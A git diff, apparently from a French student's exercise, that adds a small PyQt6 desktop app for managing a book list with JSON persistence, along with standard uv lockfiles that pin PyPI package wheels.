"https://files.pythonhosted.org/packages/60/bb/2186cb2f2bbaea6338cad15ce23a67f9b0672929744381e28b0592676824/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c", size = 143680, upload-time = "2025-10-14T04:41:43.661Z" }, + { url = "https://files.pythonhosted.org/packages/7d/a5/bf6f13b772fbb2a90360eb620d52ed8f796f3c5caee8398c3b2eb7b1c60d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090", size = 162045, upload-time = "2025-10-14T04:41:44.821Z" }, + { url = "https://files.pythonhosted.org/packages/df/c5/d1be898bf0dc3ef9030c3825e5d3b83f2c528d207d246cbabe245966808d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152", size = 149687, upload-time = "2025-10-14T04:41:46.442Z" }, + { url = "https://files.pythonhosted.org/packages/a5/42/90c1f7b9341eef50c8a1cb3f098ac43b0508413f33affd762855f67a410e/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828", size = 160014, upload-time = "2025-10-14T04:41:47.631Z" }, + { url = "https://files.pythonhosted.org/packages/76/be/4d3ee471e8145d12795ab655ece37baed0929462a86e72372fd25859047c/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec", size = 154044, upload-time = "2025-10-14T04:41:48.81Z" }, + { url = "https://files.pythonhosted.org/packages/b0/6f/8f7af07237c34a1defe7defc565a9bc1807762f672c0fde711a4b22bf9c0/charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9", size = 99940, upload-time = "2025-10-14T04:41:49.946Z" }, + { url = "https://files.pythonhosted.org/packages/4b/51/8ade005e5ca5b0d80fb4aff72a3775b325bdc3d27408c8113811a7cbe640/charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c", size = 107104, upload-time = "2025-10-14T04:41:51.051Z" }, + { url = "https://files.pythonhosted.org/packages/da/5f/6b8f83a55bb8278772c5ae54a577f3099025f9ade59d0136ac24a0df4bde/charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2", size = 100743, upload-time = "2025-10-14T04:41:52.122Z" }, + { url = "https://files.pythonhosted.org/packages/0a/4c/925909008ed5a988ccbb72dcc897407e5d6d3bd72410d69e051fc0c14647/charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f", size = 53402, upload-time = "2025-10-14T04:42:31.76Z" }, +] + +[[package]] +name = "idna" +version = "3.11" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6f/6d/0703ccc57f3a7233505399edb88de3cbd678da106337b9fcde432b65ed60/idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902", size = 194582, upload-time = "2025-10-12T14:55:20.501Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0e/61/66938bbb5fc52dbdf84594873d5b51fb1f7c7794e9c0f5bd885f30bc507b/idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea", size = 71008, upload-time = "2025-10-12T14:55:18.883Z" }, +] + +[[package]] +name = "requests" +version = "2.32.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "charset-normalizer" }, + { name = "idna" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c9/74/b3ff8e6c8446842c3f5c837e9c3dfcfe2018ea6ecef224c710c85ef728f4/requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf", size = 134517, upload-time = "2025-08-18T20:46:02.573Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6", size = 64738, upload-time = "2025-08-18T20:46:00.542Z" }, +] + +[[package]] +name = "urllib3" +version = "2.6.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c7/24/5f1b3bdffd70275f6661c76461e25f024d5a38a46f04aaca912426a2b1d3/urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed", size = 435556, upload-time = "2026-01-07T16:24:43.925Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/39/08/aaaad47bc4e9dc8c725e68f9d04865dbcb2052843ff09c97b08904852d84/urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4", size = 131584, upload-time = "2026-01-07T16:24:42.685Z" }, +] diff --git a/Semaine_04/Bibliotheque/.python-version b/Semaine_04/Bibliotheque/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_04/Bibliotheque/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_04/Bibliotheque/README.md b/Semaine_04/Bibliotheque/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_04/Bibliotheque/books.json b/Semaine_04/Bibliotheque/books.json new file mode 100644 index 0000000..aacfd95 --- /dev/null +++ b/Semaine_04/Bibliotheque/books.json @@ -0,0 +1,26 @@ +[ + { + "Title": "LSDA", + "Author": "Tolkien" + }, + { + "Title": "1984", + "Author": "Orwell" + }, + { + "Title": "La voie des rois", + "Author": "Brendan Sanderson" + }, + { + "Title": "Justici\u00e8re", + "Author": "Brendan Sanderson" + }, + { + "Title": "Jus d'abricot", + "Author": "COCKTAILS" + }, + { + "Title": "Jugement et trahison", + "Author": "Alan O'Reilly" + } +] \ No newline at end of file diff --git a/Semaine_04/Bibliotheque/classes.py b/Semaine_04/Bibliotheque/classes.py new file mode 100644 index 0000000..8761d39 --- /dev/null +++ b/Semaine_04/Bibliotheque/classes.py @@ -0,0 +1,92 @@ +import json + +class Book: + def __init__(self, title: str, author: str): + self.title = title + self.author = author + + def __repr__(self): + return f"{self.title} de {self.author}" + + def __eq__(self, other: "Book"): + """Pour comparer un objet de classe à un autre au lieu de l'ID par défaut""" + return self.title == other.title and self.author == other.author + + def __gt__(self, other: "Book"): + return self.title > other.title + + def __lt__(self, other: "Book"): + return self.title.lower() < other.title.lower() + + def serialized(self): + """Converti la classe en dictionnaire JSONable""" + return {"Title": self.title, "Author": self.author} + + @classmethod + def deserialized(cls, dictionnary): + """Lis un JSON pour le retranscrire en classe Book""" + return cls(title= dictionnary["Title"], author= dictionnary["Author"]) + +class Library: + """Gère un contenu de livres""" + def __init__(self, name: str): + self.name = name + self.books = self.load() + + def add_new_book(self, book: Book): + """Ajoute un nouveau livre""" + if book in self.books: + return f"{book.title.capitalize()} y est déjà." + self.books.append(book) + self.save() + return f"{book.title.capitalize()} a été ajouté." + + def take_out_book(self, book_name: str): + """Retire un livre déjà présent""" + for book in self.books: + if book.title.lower() == book_name.lower(): + self.books.remove(book) + self.save() + return f"{book.title.capitalize()} a été retiré." + return f"{book.title.capitalize()} n'y est pas." + + def list_books_in_list(self): + """Liste les livres présents""" + return self.books + + def sort_books_by_name(self): + """Tri les livres par ordre alphabétique""" + self.books.sort() + + def display_number_of_books(self) -> int: + """Donne le nombre de livres présents""" + return len(self.books) + + def search_book_by_word(self, word: str): + """Cherche un livre par mot de départ""" + results = [] + for book in self.books: + if word.lower() in book.title.lower(): + results.append(book) + return results if len(results) > 0 else "Pas de résultat." + + def search_book_by_letter(self, letter: str): + """Cherche un livre par lettre de départ""" + results = [] + for book in self.books: + if book.title.lower().startswith(letter.lower()): + results.append(book) + return results if len(results) > 0 else "Pas de résultat." + + # Sauvegarde des livres dans un JSON pour persistance des données + + def save(self): + """Inscris dans un fichier JSON le contenu de la bibliothèque""" + book_dict = [book.serialized() for book in self.books] + with open("books.json", "w", encoding= "utf-8") as json_file: # a pour append, w pour write + json.dump(book_dict, json_file, indent= 4) + + def load(self) -> list[Book]: + """Récupère le contenu d'un fichier JSON""" + with open("books.json", encoding= "utf-8") as json_file: + return json.load(json_file, object_hook= Book.deserialized) diff --git a/Semaine_04/Bibliotheque/gui/library.ui b/Semaine_04/Bibliotheque/gui/library.ui new file mode 100644 index 0000000..d0a48b2 --- /dev/null +++ b/Semaine_04/Bibliotheque/gui/library.ui @@ -0,0 +1,167 @@ + + + MainWindow + + + + 0 + 0 + 520 + 250 + + + + Bibliothèque - Python + + + + + + 20 + 20 + 480 + 210 + + + + 0 + + + Qt::ElideNone + + + + Ajouter Livre + + + + + 140 + 40 + 320 + 20 + + + + + + + 20 + 40 + 100 + 20 + + + + Titre + + + + + + 140 + 80 + 320 + 20 + + + + + + + 20 + 80 + 100 + 20 + + + + Auteur + + + + + + 140 + 120 + 111 + 41 + + + + Enregistrer + + + + + + Recherche + + + + + 20 + 60 + 430 + 100 + + + + + + + 20 + 20 + 181 + 16 + + + + Recherche (par mot ou lettre) + + + + + + 210 + 20 + 240 + 20 + + + + + + + Supprimer + + + + + 360 + 50 + 100 + 40 + + + + Supprimer + + + + + + 20 + 60 + 320 + 20 + + + + + + + + + + diff --git a/Semaine_04/Bibliotheque/gui/signal_mgt.py b/Semaine_04/Bibliotheque/gui/signal_mgt.py new file mode 100644 index 0000000..5f4101f --- /dev/null +++ b/Semaine_04/Bibliotheque/gui/signal_mgt.py @@ -0,0 +1,15 @@ +from typing import TYPE_CHECKING +from PyQt6.QtCore import QObject, pyqtSignal + +if TYPE_CHECKING: + from gui.ui_library import Ui_Library + +class SignalManagement(QObject): + change_list_signal = pyqtSignal() + + def __init__(self, ui): + super().__init__() + self.ui = ui + + def connect_signals(self): + self.change_list_signal.connect(self.ui.refresh_title_list) \ No newline at end of file diff --git a/Semaine_04/Bibliotheque/gui/ui_base.py b/Semaine_04/Bibliotheque/gui/ui_base.py new file mode 100644 index 0000000..66f1d8f --- /dev/null +++ b/Semaine_04/Bibliotheque/gui/ui_base.py @@ -0,0 +1,77 @@ +# Form implementation generated from reading ui file '.\gui\library.ui' +# +# Created by: PyQt6 UI code generator 6.10.2 +# +# WARNING: Any manual changes made to this file will be lost when pyuic6 is +# run again. Do not edit this file unless you know what you are doing. + + +from PyQt6 import QtCore, QtGui, QtWidgets + + +class Ui_MainWindow(object): + def setupUi(self, MainWindow): + MainWindow.setObjectName("MainWindow") + MainWindow.resize(520, 250) + self.centralwidget = QtWidgets.QWidget(parent=MainWindow) + self.centralwidget.setObjectName("centralwidget") + self.tabWidget = QtWidgets.QTabWidget(parent=self.centralwidget) + self.tabWidget.setGeometry(QtCore.QRect(20, 20, 480, 210)) + self.tabWidget.setElideMode(QtCore.Qt.TextElideMode.ElideNone) + self.tabWidget.setObjectName("tabWidget") + self.tab_add_book = QtWidgets.QWidget() + self.tab_add_book.setObjectName("tab_add_book") + self.title_input = QtWidgets.QLineEdit(parent=self.tab_add_book) + self.title_input.setGeometry(QtCore.QRect(140, 40, 320, 20)) + self.title_input.setObjectName("title_input") + self.title_lb = QtWidgets.QLabel(parent=self.tab_add_book) + self.title_lb.setGeometry(QtCore.QRect(20, 40, 100, 20)) + self.title_lb.setObjectName("title_lb") + self.author_input = QtWidgets.QLineEdit(parent=self.tab_add_book) + self.author_input.setGeometry(QtCore.QRect(140, 80, 320, 20)) + self.author_input.setObjectName("author_input") + self.author_lb = QtWidgets.QLabel(parent=self.tab_add_book) + self.author_lb.setGeometry(QtCore.QRect(20, 80, 100, 20)) + self.author_lb.setObjectName("author_lb") + self.save_btn = QtWidgets.QPushButton(parent=self.tab_add_book) + self.save_btn.setGeometry(QtCore.QRect(140, 120, 111, 41)) + self.save_btn.setObjectName("save_btn") + self.tabWidget.addTab(self.tab_add_book, "") + self.tab_search = QtWidgets.QWidget() + self.tab_search.setObjectName("tab_search") + self.results_view = QtWidgets.QListView(parent=self.tab_search) + self.results_view.setGeometry(QtCore.QRect(20, 60, 430, 100)) + self.results_view.setObjectName("results_view") + self.search_lb = QtWidgets.QLabel(parent=self.tab_search) + self.search_lb.setGeometry(QtCore.QRect(20, 20, 181, 16)) + self.search_lb.setObjectName("search_lb") + self.search_input = QtWidgets.QLineEdit(parent=self.tab_search) + self.search_input.setGeometry(QtCore.QRect(210, 20, 240, 20)) + self.search_input.setObjectName("search_input") + self.tabWidget.addTab(self.tab_search, "") + self.tab_delete = QtWidgets.QWidget() + self.tab_delete.setObjectName("tab_delete") + self.delete_btn = QtWidgets.QPushButton(parent=self.tab_delete) + self.delete_btn.setGeometry(QtCore.QRect(360, 50, 100, 40)) + self.delete_btn.setObjectName("delete_btn") + self.title_list = QtWidgets.QComboBox(parent=self.tab_delete) + self.title_list.setGeometry(QtCore.QRect(20, 60, 320, 20)) + self.title_list.setObjectName("title_list") + self.tabWidget.addTab(self.tab_delete, "") + MainWindow.setCentralWidget(self.centralwidget) + + self.retranslateUi(MainWindow) + self.tabWidget.setCurrentIndex(0) + QtCore.QMetaObject.connectSlotsByName(MainWindow) + + def retranslateUi(self, MainWindow): + _translate = QtCore.QCoreApplication.translate + MainWindow.setWindowTitle(_translate("MainWindow", "Bibliothèque - Python")) + self.title_lb.setText(_translate("MainWindow", "Titre")) + self.author_lb.setText(_translate("MainWindow", "Auteur")) + self.save_btn.setText(_translate("MainWindow", "Enregistrer")) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_add_book), _translate("MainWindow", "Ajouter Livre")) + self.search_lb.setText(_translate("MainWindow", "Recherche (par mot ou lettre)")) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_search), _translate("MainWindow", "Recherche")) + self.delete_btn.setText(_translate("MainWindow", "Supprimer")) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_delete), _translate("MainWindow", "Supprimer")) diff --git a/Semaine_04/Bibliotheque/gui/ui_init.py b/Semaine_04/Bibliotheque/gui/ui_init.py new file mode 100644 index 0000000..4a6a858 --- /dev/null +++ b/Semaine_04/Bibliotheque/gui/ui_init.py @@ -0,0 +1,19 @@ +from typing import TYPE_CHECKING +from logic import actions + +if TYPE_CHECKING: + from gui.ui_library import Ui_Library + +class Ui_Initialization: + def __init__(self, ui: Ui_Library): + self.ui = ui + + def connect_button(self): + self.ui.save_btn.clicked.connect(self.ui.record_book) + self.ui.delete_btn.clicked.connect(self.ui.delete_book) + self.ui.change_list_signal.connect(self.ui.refresh_title_list) + + self.ui.search_input.textChanged.connect(self.ui.search_book) + + def fulfill_list(self): + self.ui.title_list.addItems(actions.list_titles()) diff --git a/Semaine_04/Bibliotheque/gui/ui_library.py b/Semaine_04/Bibliotheque/gui/ui_library.py new file mode 100644 index 0000000..be68fec --- /dev/null +++ b/Semaine_04/Bibliotheque/gui/ui_library.py @@ -0,0 +1,59 @@ +from logic import actions + +from gui.signal_mgt import SignalManagement +from gui.ui_init import Ui_Initialization +from gui.ui_base import Ui_MainWindow + +from PyQt6.QtWidgets import QMessageBox +from PyQt6.QtGui import QStandardItemModel, QStandardItem + +class Ui_Library(Ui_MainWindow): + ##### Méthode de mise à jour de la liste des titres avec QTSignal + + def setupUi(self, MainWindow): + super().setupUi(MainWindow) + ui_init = Ui_Initialization(self) + ui_init.connect_button() + ui_init.fulfill_list() + + self.signal_mgt = SignalManagement(self) + self.signal_mgt.connect_signals() + + def record_book(self): + title = self.title_input.text() + author = self.author_input.text() + message = actions.register_book(title, author) + QMessageBox.information(None, "Nouvel enregistrement", message) + # self.refresh_title_list() + self.signal_mgt.change_list_signal.emit() + + def delete_book(self): + title = self.title_list.currentText() + message = actions.delete_book(title) + QMessageBox.information(None, "Suppression confirmée", message) + # self.refresh_title_list() + self.signal_mgt.change_list_signal.emit() + + def refresh_title_list(self): + self.title_list.clear() + self.title_list.addItems(actions.list_titles()) + + def search_book(self): + word = self.search_input.text() + if len(word) == 1: + results = actions.search_by_letter(word) + self.display_list_view(results) + return + if len(word) > 1: + results = actions.search_by_word(word) + self.display_list_view(results) + return + + def display_list_view(self, results): + self.model = QStandardItemModel() + self.results_view.setModel(self.model) + if isinstance(results, str): + self.model.appendRow(QStandardItem(results)) + else: + for book in results: + self.model.appendRow(QStandardItem(str(book))) \ No newline at end of file diff --git a/Semaine_04/Bibliotheque/logic/actions.py b/Semaine_04/Bibliotheque/logic/actions.py new file mode 100644 index 0000000..7df811d --- /dev/null +++ b/Semaine_04/Bibliotheque/logic/actions.py @@ -0,0 +1,19 @@ +from classes import Book, Library + +library = Library("Romanesque") + +def register_book(title: str, author: str): + book = Book(title, author) + return library.add_new_book(book) + +def list_titles() -> list[str]: + return [book.title for book in library.list_books_in_list()] + +def delete_book(title: str): + return library.take_out_book(title) + +def search_by_letter(letter: str): + return library.search_book_by_letter(letter) + +def search_by_word(word: str): + return library.search_book_by_word(word) \ No newline at end of file diff --git a/Semaine_04/Bibliotheque/main.py b/Semaine_04/Bibliotheque/main.py new file mode 100644 index 0000000..84e467d --- /dev/null +++ b/Semaine_04/Bibliotheque/main.py @@ -0,0 +1,12 @@ +import sys +from PyQt6.QtWidgets import QApplication, QMainWindow +from gui.ui_library import Ui_Library + +app = QApplication([]) +MainWindow = QMainWindow() +gui = Ui_Library() +gui.setupUi(MainWindow) + +MainWindow.show() + +sys.exit(app.exec()) \ No newline at end of file diff --git a/Semaine_04/Bibliotheque/main_old.py b/Semaine_04/Bibliotheque/main_old.py new file mode 100644 index 0000000..e17b9b6 --- /dev/null +++ b/Semaine_04/Bibliotheque/main_old.py @@ -0,0 +1,16 @@ +from classes import Book, Library + +library = Library("Romans") + +for i in range(3): + new_book_title = input ("Quel livre ajouter ? > ") + new_book_author = input ("Qui l'a écrit ? > ") + new_book = Book(new_book_title, new_book_author) + new_book_added = library.add_new_book(new_book) + print(new_book_added) + +print(library.list_books_in_list()) + +library.sort_books_by_name() + +print(library.list_books_in_list()) \ No newline at end of file diff --git a/Semaine_04/Bibliotheque/pyproject.toml b/Semaine_04/Bibliotheque/pyproject.toml new file mode 100644 index 0000000..1d8e85e --- /dev/null +++ b/Semaine_04/Bibliotheque/pyproject.toml @@ -0,0 +1,9 @@ +[project] +name = "bibliotheque" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "pyqt6>=6.10.2", +] diff --git a/Semaine_04/Bibliotheque/uv.lock b/Semaine_04/Bibliotheque/uv.lock new file mode 100644 index 0000000..6041420 --- /dev/null +++ b/Semaine_04/Bibliotheque/uv.lock @@ -0,0 +1,67 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "bibliotheque" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "pyqt6" }, +] + +[package.metadata] +requires-dist = [{ name = "pyqt6", specifier = ">=6.10.2" }] + +[[package]] +name = "pyqt6" +version = "6.10.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyqt6-qt6" }, + { name = "pyqt6-sip" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/96/03/e756f52e8b0d7bb5527baf8c46d59af0746391943bdb8655acba22ee4168/pyqt6-6.10.2.tar.gz", hash = "sha256:6c0db5d8cbb9a3e7e2b5b51d0ff3f283121fa27b864db6d2f35b663c9be5cc83", size = 1085573, upload-time = "2026-01-08T16:40:00.244Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fb/3f/f073a980969aa485ef288eb2e3b94c223ba9c7ac9941543f19b51659b98d/pyqt6-6.10.2-cp39-abi3-macosx_10_14_universal2.whl", hash = "sha256:37ae7c1183fe4dd0c6aefd2006a35731245de1cb6f817bb9e414a3e4848dfd6d", size = 60244482, upload-time = "2026-01-08T16:38:50.837Z" }, + { url = "https://files.pythonhosted.org/packages/ec/3e/9a015651ec71cea2e2f960c37edeb21623ba96a74956c0827def837f7c6b/pyqt6-6.10.2-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:78e1b3d5763e4cbc84485aef600e0aba5e1932fd263b716f92cd1a40dfa5e924", size = 37899440, upload-time = "2026-01-08T16:39:09.027Z" }, + { url = "https://files.pythonhosted.org/packages/51/74/a88fec2b99700270ca5d7dc7d650236a4990ed6fc88e055ca0fc8a339ee3/pyqt6-6.10.2-cp39-abi3-manylinux_2_39_aarch64.whl", hash = "sha256:bbc3af541bbecd27301bfe69fe445aa1611a9b490bd3de77306b12df632f7ec6", size = 40748467, upload-time = "2026-01-08T16:39:29.551Z" }, + { url = "https://files.pythonhosted.org/packages/75/34/be7a55529607b21db00a49ca53cb07c3092d2a5a95ea19bb95cfa0346904/pyqt6-6.10.2-cp39-abi3-win_amd64.whl", hash = "sha256:bd328cb70bc382c48861cd5f0a11b2b8ae6f5692d5a2d6679ba52785dced327b", size = 26015391, upload-time = "2026-01-08T16:39:42.946Z" }, + { url = "https://files.pythonhosted.org/packages/af/de/d9c88f976602b7884fec4ad54a4575d48e23e4f390e5357ea83917358846/pyqt6-6.10.2-cp39-abi3-win_arm64.whl", hash = "sha256:7901ba1df024b7ee9fdacfb2b7661aeb3749ae8b0bef65428077de3e0450eabb", size = 26208415, upload-time = "2026-01-08T16:39:57.751Z" }, +] + +[[package]] +name = "pyqt6-qt6" +version = "6.10.1" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/1b/137184632cad83a210e7955226744a77945260ca2e75892fe36299d26ada/pyqt6_qt6-6.10.1-py3-none-macosx_10_14_x86_64.whl", hash = "sha256:4bb2798a95f624b462b70c4f185422235b714b01e55abab32af1740f147948e2", size = 68472463, upload-time = "2025-11-27T14:20:51.694Z" }, + { url = "https://files.pythonhosted.org/packages/af/df/ca795ac3d04243ad63499cfedcf92d8b5f6e3585a2a26c09f34cb58c8e44/pyqt6_qt6-6.10.1-py3-none-macosx_11_0_arm64.whl", hash = "sha256:0921cc522512cb40dbab673806bc1676924819550e0aec8e3f3fe6907387c5b7", size = 62296168, upload-time = "2025-11-27T14:21:21.232Z" }, + { url = "https://files.pythonhosted.org/packages/f4/7e/9867361252e2a4717dba95c64a0f3a793603f4a52cb9a46abbb041e960f5/pyqt6_qt6-6.10.1-py3-none-manylinux_2_34_x86_64.whl", hash = "sha256:04069aea421703b1269c8a1bcf017e36463af284a044239a4ebda3bde0a629fb", size = 83829262, upload-time = "2025-11-27T14:22:00.399Z" }, + { url = "https://files.pythonhosted.org/packages/9b/7b/18f4eb2273a92283fe4d87aa740a400eb14a4e41b8f990aaf563e9767db6/pyqt6_qt6-6.10.1-py3-none-manylinux_2_39_aarch64.whl", hash = "sha256:5b9be39e0120e32d0b42cdb844e3ae110ddadd39629c991e511902c06f155aff", size = 82877396, upload-time = "2025-11-27T14:22:36.994Z" }, + { url = "https://files.pythonhosted.org/packages/53/5c/648c515d57bc82909d0597befb03bbc2f7a570f323dba3ad38629669efcb/pyqt6_qt6-6.10.1-py3-none-win_amd64.whl", hash = "sha256:df564d3dc2863b1fde22b39bea9f56ceb2a3ed7d6f0b76d3f96c2d3bc5d71516", size = 76670151, upload-time = "2025-11-27T14:23:11.172Z" }, + { url = "https://files.pythonhosted.org/packages/0a/13/2d2a9c0559bfa53effea5e2c1ed7aebb430186ce0b64cfba235231a049d9/pyqt6_qt6-6.10.1-py3-none-win_arm64.whl", hash = "sha256:48282e0f99682daf4f1e220cfe9f41255e003af38f7728a30d40c76e55c89816", size = 58276316, upload-time = "2025-11-27T14:23:38.744Z" }, +] + +[[package]] +name = "pyqt6-sip" +version = "13.11.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e3/7d/d2916048e2e3960f68cb4e93907639844f7b8ff95897dcc98553776ccdfc/pyqt6_sip-13.11.0.tar.gz", hash = "sha256:d463af37738bda1856c9ef513e5620a37b7a005e9d589c986c3304db4a8a14d3", size = 92509, upload-time = "2026-01-13T16:01:32.16Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/53/a6/0e4d8fa7d6deb750bd0fdf89024e39c71fb127efb5eeedfab6830ad6679a/pyqt6_sip-13.11.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:6b3267cd93b7f4da6fdf9a6a26f3baed8faae06e5cdd76235f2acc2116c40a54", size = 112367, upload-time = "2026-01-13T16:01:09.08Z" }, + { url = "https://files.pythonhosted.org/packages/66/e6/25dc20a03c46000e8b93aaf79347227926b67959283e5aab797daa7f64d8/pyqt6_sip-13.11.0-cp312-cp312-manylinux1_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:c30248d9bbe54c46a78e5d549da50295ecd6584b965597f751e272f000fb8527", size = 301150, upload-time = "2026-01-13T16:01:12.385Z" }, + { url = "https://files.pythonhosted.org/packages/11/9f/e850cd350aade789660cafba38c00777e686040c06b8cd0b45339b80fcba/pyqt6_sip-13.11.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9c367b53a91e575ef66c1375f899713bdaf0a8b2c64b95ac226e9644854a4984", size = 323303, upload-time = "2026-01-13T16:01:10.736Z" }, + { url = "https://files.pythonhosted.org/packages/77/26/5261d62108f7579407230f8c1d4dda43c18b5600ce70bf3becb2f997d5cc/pyqt6_sip-13.11.0-cp312-cp312-win_amd64.whl", hash = "sha256:077958105c2ea2f62be2f1a7611ff8bd44cb52fb5ea8fc8c59ea949144acb7b5", size = 53461, upload-time = "2026-01-13T16:01:13.875Z" }, + { url = "https://files.pythonhosted.org/packages/46/80/6c88b97eda309d6babb7292200bf51165dc06d0204d891b7bf1fb17a8ed0/pyqt6_sip-13.11.0-cp312-cp312-win_arm64.whl", hash = "sha256:52812471619d3d3750b940d7d124cd0954107656924921ac177e098ba36362fb", size = 48650, upload-time = "2026-01-13T16:01:14.897Z" }, + { url = "https://files.pythonhosted.org/packages/df/a0/46abcae4fce175a326185460a02c13ab81332bca7dd55c1e853ba6aee71e/pyqt6_sip-13.11.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:929716eebde1a64ffdb6b1715db6a22aefd5634d6df84858c7deb5e85be84fdf", size = 112353, upload-time = "2026-01-13T16:01:16.152Z" }, + { url = "https://files.pythonhosted.org/packages/0e/38/27c3aa3f153fcd83a0765fedf8e44a1136f189a322bcc9c494c5b3793cd7/pyqt6_sip-13.11.0-cp313-cp313-manylinux1_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:a75144e8a0bcf9d1a9069011890401748af353749f1de1b6a314b880781edf9d", size = 301497, upload-time = "2026-01-13T16:01:20.531Z" }, + { url = "https://files.pythonhosted.org/packages/6f/ac/1053ffce45e4174f0a8174557b88537aa82bf96ba03c7dd208c59de36f69/pyqt6_sip-13.11.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8082b5f57ffad5dddf5efcf0ef5eaf94841395aa4e7c374c79ef24cf49b0f0ce", size = 323498, upload-time = "2026-01-13T16:01:17.859Z" }, + { url = "https://files.pythonhosted.org/packages/40/d3/447b30d1f00cc50ad9e5c53b2e920068606b16857da83f8036b390c79fad/pyqt6_sip-13.11.0-cp313-cp313-win_amd64.whl", hash = "sha256:8d49b5bf3d8d36cd7db93ddc54cd09dbba96a3fd926e445ef75499b41e47b5a3", size = 53469, upload-time = "2026-01-13T16:01:21.762Z" }, + { url = "https://files.pythonhosted.org/packages/92/67/77e6fafcabd01c0a11166ab7464509896f137929f82c4f2e03aea1bf41b3/pyqt6_sip-13.11.0-cp313-cp313-win_arm64.whl", hash = "sha256:293eac1b53c66c54b03266cc30015ec77454af679043a4f188b9bb80a9656996", size = 48643, upload-time = "2026-01-13T16:01:22.669Z" }, + { url = "https://files.pythonhosted.org/packages/ff/28/a5178c8e005bafbf9c0fd507f45a3eef619ab582811414a0a461ee75994f/pyqt6_sip-13.11.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:4dc9c4df24af0571423c3e85b5c008bad42ed48558eef80fbc3e5d30274c5abb", size = 112431, upload-time = "2026-01-13T16:01:23.832Z" }, + { url = "https://files.pythonhosted.org/packages/13/3c/02770b02b5a05779e26bd02c202c2fd32aa38e225d01f14c06908e33738c/pyqt6_sip-13.11.0-cp314-cp314-manylinux1_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:c974d5a193f32e55e746e9b63138503163ac63500dbb1fd67233d8a8d71369bd", size = 301236, upload-time = "2026-01-13T16:01:28.733Z" }, + { url = "https://files.pythonhosted.org/packages/40/47/5af493a698cc520581ca1000b4ab09b8182992053ffe2478062dde5e4671/pyqt6_sip-13.11.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4284540ffccd8349763ddce3518264dde62f20556720d4061b9c895e09011ca0", size = 323919, upload-time = "2026-01-13T16:01:25.122Z" }, + { url = 